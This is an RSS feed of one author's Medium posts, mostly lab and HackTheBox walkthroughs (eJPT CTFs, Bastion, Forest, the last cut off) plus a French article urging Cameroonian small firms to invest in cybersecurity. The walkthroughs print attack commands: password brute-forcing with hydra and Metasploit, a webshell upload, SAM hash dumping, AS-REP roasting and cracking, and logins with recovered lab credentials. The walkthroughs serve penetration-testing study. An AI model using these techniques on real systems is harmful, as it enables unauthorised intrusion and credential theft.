<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by MEFIRE FILS ASSAN on Medium]]></title>
        <description><![CDATA[Stories by MEFIRE FILS ASSAN on Medium]]></description>
        <link>https://medium.com/@mefire023?source=rss-bec299e7c0f1------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*FAfRe3f1HmolPH9hUcnI0Q.png</url>
            <title>Stories by MEFIRE FILS ASSAN on Medium</title>
            <link>https://medium.com/@mefire023?source=rss-bec299e7c0f1------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sun, 31 May 2026 20:34:50 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@mefire023/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com" rel="hub"/>
        <item>
            <title><![CDATA[EjptV2 | Host & Network Penetration Testing: System-Host Based Attacks CTF 1]]></title>
            <link>https://medium.com/@mefire023/ejptv2-host-network-penetration-testing-system-host-based-attacks-ctf-1-d8455f56c2ea?source=rss-bec299e7c0f1------2</link>
            <guid isPermaLink="false">https://medium.com/p/d8455f56c2ea</guid>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[vulnerability-assessment]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[MEFIRE FILS ASSAN]]></dc:creator>
            <pubDate>Wed, 04 Jun 2025 16:33:33 GMT</pubDate>
            <atom:updated>2025-06-04T16:33:33.784Z</atom:updated>
            <content:encoded><![CDATA[<p>System-host-based attacks occur during the exploitation phase, where vulnerabilities are exploited to gain control of a target system, depending on the type of operating system installed on the host (Windows or Linux). I chose to hide the flag so that readers can focus more on the methodology rather than the answers (you can thank me later).</p><h3>TASK 1 User ‘bob’ might not have chosen a strong password. Try common passwords. (target1.ine.local)</h3><p>Firstly, let scan our target with nmap</p><pre>nmap -sV target1.ine.local</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pypigdzL7biO8_h2JvsoQg.png" /></figure><p>There is a website on port 80, let open it</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*U3fNBdlwSHE7fRN3444fgw.png" /></figure><p>We need credentials to log in, we can brute force with hydra</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*abi04SmPzEzpg_hJHcxb2w.png" /></figure><p>And we get a valid password</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9gfU_uqLGNYJLxNzADOuWw.png" /></figure><p>Once connected, we can see it is a microsoft II server, usually work with webdav.</p><p>Let navigate to the webdav folder</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/836/1*B5sUzgXu7iSWfZEcUqmkHg.png" /></figure><p>We catch our flag.</p><h3>TASK 2 Valuable files are often on the C: drive. Explore it thoroughly. (target1.ine.local)</h3><p>Now, we can interact with webdav and adding a webshell.<br>This can be done with <em>cadaver </em>utility.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5NovtbHwK_tT4Y_a80kw2w.png" /></figure><p>What we see, the folders in the server; cadaver give us possibility to add file in the server with command <em>put</em>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DXuV5Q7yKrTOdEJHAlKc-Q.png" /></figure><p>Once do it, we can navigate to /webshell.asp</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/934/1*ktNGiovApmKu7AWC0JTNEw.png" /></figure><p>And we can interact with system and hit commands.<br>For example, the output of command <em>dir c:\</em> to list content of C: directory</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/882/1*ok7WnjbkeBMjbbJ0Gez8lg.png" /></figure><p>And we can display our flag, with command type <em>c:\flag2.txt</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/768/1*-r0Cfs3Q0DbiPES151nm9w.png" /></figure><h3>TASK 3 SMB shares might contain hidden files. Check the available shares. (target2.ine.local)</h3><p>Let list available shares on target, connect as anonymous(without password)</p><pre>smbclient -L \\TARGET_IP --no-pass</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/871/1*vo-HF6AraWba9NhefbP3YQ.png" /></figure><p>Access denied, so we will brute force with smb_login module of metasploit</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EtIB9kWuBi1p6uL46WsRfw.png" /></figure><p>And we have administrator password</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GgaqPSscMVgc1UNfCHMG-A.png" /></figure><p>We explore folder <em>C$</em> to catch our flag</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZdTQT0hnoTs6FkTUbjoouQ.png" /></figure><h3>TASK 4 The Desktop directory might have what you’re looking for. Enumerate its contents. (target2.ine.local)</h3><p>In the directory Desktop, we catch our flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WRtpbAtq02KhhHUvOsJTew.png" /></figure><p>Thanks for your reading :)</p><p>If you have any questions drop it in comments.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d8455f56c2ea" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Ejpt V2 | Assessment Methodologies: Vulnerability Assessment CTF 1]]></title>
            <link>https://medium.com/@mefire023/ejpt-v2-assessment-methodologies-vulnerability-assessment-ctf-1-e0b3f1abbbf6?source=rss-bec299e7c0f1------2</link>
            <guid isPermaLink="false">https://medium.com/p/e0b3f1abbbf6</guid>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[hacking-tools]]></category>
            <category><![CDATA[vulnerability]]></category>
            <dc:creator><![CDATA[MEFIRE FILS ASSAN]]></dc:creator>
            <pubDate>Wed, 04 Jun 2025 16:32:18 GMT</pubDate>
            <atom:updated>2025-06-04T16:32:18.388Z</atom:updated>
            <content:encoded><![CDATA[<p>Assessment is a crucial step in penetration testing. It is impossible to identify weaknesses in a system without understanding how it functions, both internally and in interaction with other systems. Vulnerability Assessment is a key phases of Assessment methodology, which will lead you the find which vulnerability can be use in the following phases. I’ve decided to conceal the flag to encourage readers to focus on the methodology rather than the solution (you can thank me later).</p><h3>TASK 1 Explore hidden directories for version control artifacts that might reveal valuable information.</h3><p>First of all, let start by a scan with nmap, this will help to have comprehensive knowledge of our target.</p><pre>nmap -sV target.ine.local</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7Thc72G92ERH69B9fkE86w.png" /></figure><p>Obviously, the task 1 concern the web application which run on port 80. Lets have more information about it by execute the following nmap command</p><pre>nmap -sC -p 8O target.ine.local</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*o1QMjMDf74f8DkjHPBo5zA.png" /></figure><p>As you can see in the previous output, is a web app which synchronize with a remote github directory. A sensitive folder when we generally talk about githbub is the .git which need to be hidden</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/708/1*VUk3jY_Kk2_L6x1cw7-XsA.png" /></figure><p>In the case of you target, it is not hide and ouura we found our first flag.</p><h3>TASK 2 | The data storage has some loose security measures. Can you find the flag hidden within it?</h3><p>Based on the nmap output scan, we can conclude that there is a phpmyadmin page. Let navigate to it</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qWUISMFe6436KhIHuLPmUg.png" /></figure><p>We can access to the <em>mysql </em>database, and there is table named <em>secret_info</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PIh9pDtXa-YQK2QU5we_xQ.png" /></figure><h3>TASK 3 A PHP file that displays server information might be worth examining. What could be hidden in plain sight?</h3><p>The description of a file related to the phpinfo page. So let net navigate to the phpinfo.php and we got our flag</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fk_SyAWFV2A-ijHjVGyGbA.png" /></figure><h3>TASK 4 Sensitive directories might hold critical information. Search through carefully for hidden gems.</h3><p>Lets go to the robots.txt and see which folders is disallowed to robots(crawler like google) to index it</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/730/1*Cg6ykkf1M7IROV8K048h8A.png" /></figure><p>There is an intersting folder named passwords; let explore it</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/824/1*4_ZIVCOlgk2k5V5V14uonQ.png" /></figure><p>And we found our last flag.</p><p>Hope this article help you in the pathway of learning pentesting, if it case : like and share. For any other questions drop a comments or reach me on my mail.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e0b3f1abbbf6" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[EjptV2| Assessment methodology : Enumeration CTF1]]></title>
            <link>https://systemweakness.com/ejptv2-assessment-methodology-enumeration-ctf1-b6cae9d38b20?source=rss-bec299e7c0f1------2</link>
            <guid isPermaLink="false">https://medium.com/p/b6cae9d38b20</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <dc:creator><![CDATA[MEFIRE FILS ASSAN]]></dc:creator>
            <pubDate>Fri, 30 May 2025 09:01:00 GMT</pubDate>
            <atom:updated>2025-06-02T14:39:30.623Z</atom:updated>
            <content:encoded><![CDATA[<h3>EjptV2| Assessment methodology : Enumeration CTF1</h3><p>Assessment is a crucial step in penetration testing. It is impossible to identify weaknesses in a system without understanding how it functions, both internally and in interaction with other systems. Enumeration, a key part of the assessment methodology, involves interacting with the services running on a target to collect valuable information such as usernames, passwords, and shared resources. I’ve decided to conceal the flag to encourage readers to focus on the methodology rather than the solution (you can thank me later).</p><h3>TASK 1 There is a samba share that allows anonymous access. Wonder what’s in there!</h3><p>Samba is the Linux equivalent of the SMB service. SMB, which stands for Server Message Block, is a protocol used for sharing files over a network. In the context of penetration testing (or networking in general), allowing anonymous access means that users can interact with a service without requiring a password. To interact with Samba or SMB on a Linux system, you can use the <em>smbclient</em> utility. The command to list available shares with anonymous access is straightforward and efficient.</p><p>In the context of pentesting(or networking generally)<em> anonymous acces allowed</em> means be able to interact with a service without need a password.</p><p>To interact with samba or smb in a linux system you can use the smbclient utility, the command to list available shares in anonymous acces is :</p><pre>smbclient -L //TARGET_IP --no-pass</pre><p>As you can see in the following screenshot, with have two folders accessible</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YiGBIbwVR6o2cEhcAAo8tA.png" /></figure><p>To interact with a folder, use the following command</p><pre>smbclient -L //TARGET_IP/folder --no-pass</pre><p>As you can see in the follow screenshot, <em>print$</em> is not accessible without password and <em>IPC$</em> is empty</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/968/1*wF51Ph3zooV86FgEf-fZvQ.png" /></figure><p>It is not what we excepted(no folder to retreive flag), so how to do?<br>Remember this instruction in the lab guidelines</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/694/1*hTbXVoSbKRl6OuWKWSVDgA.png" /></figure><p>In this folder we have a file named <em>shares </em>, look like a wordlist to use to enumerate available share</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aVqn-Z5Hfoxfznlsp65RFw.png" /></figure><p>How can you do that? You might search for a solution, but let me save you some time: there isn’t a pre-installed tool in the attack box to assist with this. Instead, I use a custom bash script along with a wordlist to identify available shares on a Samba server. You can create your own script, or leave a comment if you’d like me to share mine.</p><p>As shown in the screenshot, there is a folder available named “pubfiles.”</p><p>As you can see in the following screenshot, there is a folder availabe named <em>pubfiles</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6ZmpcQOYCgNcv3wERbdarg.png" /></figure><p>Let’s connect to it via</p><pre>smbclient -L //TARGET_IP/pubfiles --no-pass</pre><p>Once connect to folder, we can use <em>ls</em> to list files</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xm3E9YldZ601uk4Xtk-wEw.png" /></figure><p>And youpi!! , we have our flag. we can download it we the <em>get</em> command</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Fm-JXew7Tn4QMkUcBTY6eQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/783/1*y3eSnZ9_duE-dqyG9J1Atg.png" /></figure><h3>TASK 2 One of the samba users have a bad password. Their private share with the same name as their username is at risk!</h3><p>To enumerate users, we can use enum4linux</p><pre>enum4linux TARGET_IP</pre><p>Without specify any username or password, it will connect as anonymous, and we have 3 users</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4KLIU7kzVAaceIAdy1N7bQ.png" /></figure><p>Let save usernames in a file call <em>smb_users.txt</em></p><p>Now, we can use the module of metasploit and set options. For password wordlists you can use the one at /root/Desktop/wordlists/unix_passwords.txt</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SuDhj9IhhQeKD88Nfp7TBQ.png" /></figure><p>After exploit, we have the password of josh</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IZxVanFUhvCliJzAYU5Xww.png" /></figure><p>Let use these new credentials to connect to the folder josh</p><pre>smblcient //TAGET_IP/josh -U josh</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UeSZ1AErc9SqT5xBpQ-vEg.png" /></figure><p>Oh oh oh! There is our flag</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mTZCKnEIxxzTezV5IUbP2g.png" /></figure><h3>TASK 3 Follow the hint given in the previous flag to uncover this one.</h3><p>The previous flag said, we have an FTP service runnig on target, let scan with nmap</p><pre>nmap -sV -p- target.ine.local</pre><p>With the previous command with scan all the ports form 1 to 65535(-p-) to know running services and their version(-sV)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*76sEXcwS5BldrG4Z3Ft9GQ.png" /></figure><p>As you can see in the previous output, we have an FTP service running on port 5554, try to connect and we have another hint</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*97xT9Jv0e7RFYDRRdnelIA.png" /></figure><p>Create a file ftp_users with the username specified in banner and we can use hydra( a powerfool password cracking tool)</p><pre>hydra -L ftp_users.txt -P /root/Desktop/wordlists/unix_passwords.txt ftp://TARGET_IP -s 5554</pre><p>The flag -s is to specified to port where ftp running on, otherwise hydra will test the default port(21)</p><pre>ftp alice@target.ine.local -P 5554</pre><p>Don’t forget to set the -P to set the custom port</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-6bZLN89UKvrSZDrJ-3awQ.png" /></figure><p>Let connect to ftp, use these credentials; with the following command</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ePjZIhyfacsXrxpRBE1XmA.png" /></figure><h3>TASK 4 This is a warning meant to deter unauthorized users from logging in.</h3><p>Did you remember the output of the nmap scan of target ?<br>There is ssh running on port 22. Lets connect to</p><pre>ssh target.ine.local</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-LXWq3VkA1QfbR6RdRTZPQ.png" /></figure><p>And, we have our last flag.</p><p>Thanks for your reading, hope the article help you in your pathway to get ejpt, if it is case put a like, share and drop a comments.</p><p>For any other need, yo can reach me via my mail or LinkedIn.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b6cae9d38b20" width="1" height="1" alt=""><hr><p><a href="https://systemweakness.com/ejptv2-assessment-methodology-enumeration-ctf1-b6cae9d38b20">EjptV2| Assessment methodology : Enumeration CTF1</a> was originally published in <a href="https://systemweakness.com">System Weakness</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[La Cybersécurité dans les TPE/PME Camerounaises : Une Nécessité Méconnue]]></title>
            <link>https://medium.com/@mefire023/la-cybers%C3%A9curit%C3%A9-dans-les-tpe-pme-camerounaises-une-n%C3%A9cessit%C3%A9-m%C3%A9connue-57cfceeaf7eb?source=rss-bec299e7c0f1------2</link>
            <guid isPermaLink="false">https://medium.com/p/57cfceeaf7eb</guid>
            <category><![CDATA[cybersecurity-awareness]]></category>
            <dc:creator><![CDATA[MEFIRE FILS ASSAN]]></dc:creator>
            <pubDate>Wed, 26 Feb 2025 15:44:08 GMT</pubDate>
            <atom:updated>2025-02-26T15:44:08.250Z</atom:updated>
            <content:encoded><![CDATA[<h3>La Cybersécurité dans les TPE/PME Camerounaises : Une Nécessité Méconnue</h3><blockquote><strong><em>À la fin de cet article, vous pourrez réserver une consultation gratuite durant lequel nous discuterons de l’évaluation de la posture de sécurité de votre entreprise.</em></strong></blockquote><p><strong>« Nous n’avons même pas d’ordinateur ici, à quoi vont servir vos offres de cybersécurité ? »</strong></p><p>Cette phrase, répétée maintes fois par des chefs d’entreprise, m’a souvent laissé sans voix et résume parfaitement l’état de la cybersécurité dans les TPE/PME au Cameroun.</p><p>En général, ces entreprises fonctionnent avec une infrastructure informatique légère— généralement une ou deux machines pour la secrétaire et le directeur général. Dans ce contexte, l’exécutif pense, à tort, qu’il n’est pas exposé aux cybermenaces, car il n’y a pas d’ouverture significative sur Internet.</p><h3>Mais est-ce vraiment le cas ?</h3><p>Même si vous ne possédez pas une dizaine d’ordinateurs, vous avez une mine d’informations critiques à protéger : les <strong>contacts de vos clients</strong>, <strong>vos échanges confidentiels, la liste de vos fournisseurs, vos brevets</strong>, etc.</p><p>La majorité de ces données sensibles est stockée sur les smartphones des collaborateurs, sur des clés USB (souvent égarées) utilisées pour le transfert de fichiers critiques, ou encore sur leurs ordinateurs personnels. Vous voyez le pot-aux-roses ? Même sans une infrastructure informatique sophistiquée, vos collaborateurs exposent vos informations.</p><h3>Des pertes financières considérables que vous pouvez éviter</h3><p><strong>Vous ne voulez sûrement pas que votre argent fasse partie des 12,2 milliards FCFA de pertes dues aux cyberattaques.</strong> Pourtant, selon l’Agence nationale des TIC (Antic), c’est exactement ce montant qui a été perdu par les entreprises camerounaises en 2021.</p><h3>Les chiffres récents en témoignent :</h3><ul><li>19,41 millions de cybermenaces ont été enregistrées sur les 12 derniers mois de 2024, en baisse de 1,5% par rapport aux 19,76 millions d’attaques de l’année précédente.</li><li>Les menaces locales (via supports physiques) ont diminué de 15%, passant de 14,05 millions en 2023 à 11,99 millions en 2024.</li><li>À l’inverse, les menaces en ligne ont augmenté de 29,9%, passant de 5,71 millions en 2023 à 7,42 millions en 2024.</li><li>Les attaques exploitant des failles de sécurité ont bondi de 91%, passant de 174 472 en 2023 à 333 930 en 2024.</li></ul><p>Ces données montrent clairement que, même sans un système informatique avancé, les TPE/PME camerounaises sont gravement exposées. Les appareils personnels de vos collaborateurs deviennent alors des vecteurs potentiels de vol ou de compromission de vos informations sensibles.</p><h3>Un scénario que vous pourriez bientôt vivre</h3><p>Imaginez si le smartphone ou l’ordinateur portable de votre comptable est volé : le voleur pourrait accéder à toutes les fiches de paie de vos employés, à la liste de vos fournisseurs, voire aux tarifs d’achat de vos matériels. Ces informations pourraient ensuite être exploitées par vos concurrents pour débaucher vos talents ou détourner vos partenariats.</p><h3>La solution est plus simple que vous ne le pensez</h3><p>En résumé, même si vous pensez ne pas être concerné par une infrastructure informatique sophistiquée, sachez que vos collaborateurs et leurs appareils constituent les principaux canaux par lesquels circulent vos informations critiques — et donc les portes d’entrée potentielles pour les cyberattaques.</p><p>Pour vous prémunir contre ces risques, il est essentiel de former vos collaborateurs aux bonnes pratiques de sécurité.</p><h3>Prêt à protéger vos données et à renforcer la sécurité de votre entreprise ?</h3><p>Ne laissez pas vos collaborateurs devenir le maillon faible de votre sécurité. Contactez-nous dès aujourd’hui pour une évaluation gratuite de votre niveau de cybersécurité et découvrez comment nos formations sur mesure peuvent transformer vos pratiques et protéger vos informations critiques.</p><p><a href="https://calendly.com/mefire023/30min"><strong><em>Cliquez ici</em></strong></a> pour réserver votre consultation exclusive et faites le premier pas vers une TPE/PME plus sécurisée !</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=57cfceeaf7eb" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[BASTION HTB WALKTHROUGH]]></title>
            <link>https://systemweakness.com/bastion-htb-walkthrough-d0ff21044758?source=rss-bec299e7c0f1------2</link>
            <guid isPermaLink="false">https://medium.com/p/d0ff21044758</guid>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[walkthrough]]></category>
            <category><![CDATA[htb]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[hackthebox]]></category>
            <dc:creator><![CDATA[MEFIRE FILS ASSAN]]></dc:creator>
            <pubDate>Mon, 26 Aug 2024 11:44:34 GMT</pubDate>
            <atom:updated>2024-08-26T16:41:16.729Z</atom:updated>
            <content:encoded><![CDATA[<p>Bastion is an HTB Windows machine which help to understand the danger of shared virtual disk which contains credentials and the use of outdated and insecure software. Next in this article, I will show steps by steps how I pwned it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/701/1*yMJ--vPtvXPvk0s9xbZsvA.png" /></figure><h3>Reconnaissance</h3><p>The first step is to scan target machine to have an overview on running services and open ports</p><pre>nmap -p- -T5 TARGET_IP -sC -sV</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PcYXQ5OmBOXVhnAM_8VAGg.png" /></figure><p>As seen in previous output, several ports are open with services running on, but the most interesting is the 139 port which run smb service. Samba is used to share files in a network and sometimes administrators enable anonymous login which is a configuration to allow user to connect without password, let’s check if it is the case on our target.</p><h3>ENUMERATION</h3><p>The first thing to do, is list shared folders trough <em>smbclient. Just hit &lt;ENTER&gt; when password will ask and you will connect as anonymous</em></p><pre>smbclient -L TARGET_IP</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/585/1*jebgLeD4GNM7mkEfHQCELA.png" /></figure><p>Output show a Virtual Disk named Backups, we can open a smb shell and explore it with the following command</p><pre>smbclient //TARGET_IP/Backups</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/825/1*OEaUebY1Iy0jFfYchxhzZA.png" /></figure><p>The Backups folder contain a WindowsImagesBackup which I explore and find inside two particular VHD files</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zvZZ7Edkp3WVj1I1vFinZA.png" /></figure><h4>Mount VHD Files</h4><p>Now we need to mount these files in our local machine to see their contents.<br>First, install these utilities</p><pre>sudo apt-get install libguestfs-tools<br>sudo apt-get install cifs-utils</pre><p>Mount the remote share to our local machine, inside the /mnt/remote folder we create</p><pre>mount -t cifs //TARGET_IP/Backups /mnt/remote -o rw</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/475/1*v39GkZrLfxSEVieD-s4yAg.png" /></figure><p>And we can find out the vhd files now in our local machine inside the folder :<em> /mnt/remote/WindowsImageBackup/L4mpje-PC/Backup 2019–02–22 124351</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QZFx_9IuE5EDlmia_8nR-g.png" /></figure><p>Create another folder /mnt/vhd to mount these files, with the following command</p><pre>guestmount --add /mnt/remote/path/to/vhdfile.vhd --inspector --ro /mnt/vhd -v</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*65jVyMOnEiRYiZghREjdEg.png" /></figure><p>As seen in previous output, one of vhd file(the second) is a whole copy of the disk of users. Take a look inside the location Windows\system32\config</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rbCtRjShatriQjrFFaQbWw.png" /></figure><p>Inside, we have <em>SAM </em>and <em>SYSTEM </em>registry which can be dumped to have encrypted password with sampdump2 tool</p><pre>samdump2 SYSTEM SAM</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/987/1*hD2jzyAHFs1b0rP8b4wcOA.png" /></figure><h3>INITIAL ACCESS</h3><p>By cracking the password of L4mpje user, we can have initial access. Let’s do this with crackstation. Note that the hast is the fourth field</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*emzACpbVWawlcK0XYuEUxA.png" /></figure><p>Remember that ssh port is open, we can connect using credentials L4mpje/bureaulampje</p><pre>ssh L4mpje@TARGET_IP</pre><p>Once inside, we can easily retreive the flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/714/1*7XZ-dLi4hiHJoszBkTHuxw.png" /></figure><h3>PRIVILEGE ESCALATION</h3><p>Once we have an initial access, try now to compromise an administrator account.</p><p>The vector of compromising here is use of software which have a weak password storing. Take a look of softwares installed, in the Program Files (x86).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/799/1*-fWyzg0oQyKcOZKjkE0wow.png" /></figure><p>There is the folder mRemoteNG, do a little research about this software on Google, show that the password storage is <a href="https://hackersvanguard.com/mremoteng-insecure-password-storage/">insecure</a>. Inside the AppData folder of user L4mpje, we can see the confCons.xml files contains encrypted password of Administrator user.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oMZHasyAZ2usM4pQckkeIQ.png" /></figure><p>The problem is that, this password can be easily decrypted with script like this <a href="https://github.com/haseebT/mRemoteNG-Decrypt">https://github.com/haseebT/mRemoteNG-Decrypt</a>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-5V0GnfV63V8P61_5A2BNA.png" /></figure><p>Now we have password, let’s connect trough ssh</p><pre>ssh Administrator@TARGET_IP</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QHLw_xc7QDaRO4EO9fW8uw.png" /></figure><p>And capture the Flag</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/811/1*u4K64Tipkl8nZ_rTkQ87Vg.png" /></figure><p>Hope you enjoy reading me :)</p><p>If it was case, like and share.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d0ff21044758" width="1" height="1" alt=""><hr><p><a href="https://systemweakness.com/bastion-htb-walkthrough-d0ff21044758">BASTION HTB WALKTHROUGH</a> was originally published in <a href="https://systemweakness.com">System Weakness</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[FOREST HTB WALKTHROUGH | STEP-BY-STEP]]></title>
            <link>https://systemweakness.com/forest-htb-walkthrough-step-by-step-7a26e0417896?source=rss-bec299e7c0f1------2</link>
            <guid isPermaLink="false">https://medium.com/p/7a26e0417896</guid>
            <category><![CDATA[windows]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[hackthebox]]></category>
            <category><![CDATA[active-directory]]></category>
            <category><![CDATA[vulnerability]]></category>
            <dc:creator><![CDATA[MEFIRE FILS ASSAN]]></dc:creator>
            <pubDate>Sun, 11 Aug 2024 16:48:15 GMT</pubDate>
            <atom:updated>2024-08-13T11:03:12.729Z</atom:updated>
            <content:encoded><![CDATA[<p>Forest is an HTB machine which help to have better understand of vulnerabilities related to active directory environment. I will show you steps I follow to pwned it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/697/1*mtG9cYHI2tCRz_kjHEQk7Q.png" /></figure><h3>RECONNAISSANCE</h3><p>The first step is to scan machine to have better understanding of our target</p><pre>nmap -sC -sV TARGET_IP</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mbxeB9H0knSKGBYmugoSjQ.png" /></figure><p>There are a lot of open ports, majority related to active directory which LDAP protocol running on port <em>3268 </em>with domain name : htb.local.</p><h3>LDAP ENUMERATION</h3><p>I started by try anonymous login with ftp and smb protocols but doesn’t work, after this I learned that it is possible to do anonymous login to LDAP. This tool : <a href="https://github.com/ropnop/windapsearch">windapsearch </a>is useful to enumerate users, groups, admins. After install it, I use the following commands to retrieve a list of users</p><pre>./windapsearch.py -d htb.local --dc-ip TARGET_IP -U<br># -U is flag to specify action is list users</pre><p>Given that anonymous login is possible, we can do this without credentials</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/876/1*Ll8-vCvFebj7K4WUQ-op6Q.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/974/1*dkWxakDVF6GeH3Oyo2vY8w.png" /></figure><p>Once we have usernames, the next step is to find which is vulnerable. Remember that the domain use Kerberos as authentication protocol and one of misconfiguration widely found is <em>pre-authentication disabled</em>, known as <a href="https://www.hackthebox.com/blog/as-rep-roasting-detection"><em>AS-REP-ROASTING</em></a>. We can achieve this with <em>GetNPUsers </em>script of impacket.</p><pre>impacket-GetNPUsers -dc-ip TARGET_IP-no-pass -usersfile users.txt htb.local/</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4DrIzHFOiw4ewrLEiURwrg.png" /></figure><p>User <em>svc-alfresco</em> is vulnerable, and we can get the hash of it password.</p><pre>hashcat -m 18200 hahs.txt rockyou.txt</pre><p>We can crack hash by using hashcat.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CAz4e8r9WC0SXophtTle-A.png" /></figure><h4>GAINING ACCESS</h4><p>Now, we have a username and a password, we can use it to connect with evil-wirm</p><pre>evil-winrm -u svc-alfresco -p s3rvice -i@TARGET_IP</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Ezr4DYwt-fBdSkTTNq0Slw.png" /></figure><p>We can retrieve flag</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2FMYZqtN5CfIJvWNB052Uw.png" /></figure><h3>PRIVILEGE ESCALATION</h3><p>Now we have are logged as a regular user, let&#39;s try to become an admin.<br>To achieve this, we will use <a href="https://github.com/dirkjanm/bloodhound.py">bloodhound-python</a>, it will help us to collection all information (group, users, permission) about the active directory domain and the result can be display on <a href="https://bloodhound.readthedocs.io/en/latest/index.html">bloodhound </a>whose help us to have a graphical view.</p><p>Firstly, install <em>bloodhound-python</em></p><pre>pip install bloodhound</pre><p>Then, hit the following command</p><pre>bloodhound-python -u svc-alfresco -p s3rvice -d htb.local -ns TARGET_IP</pre><figure><img alt="" 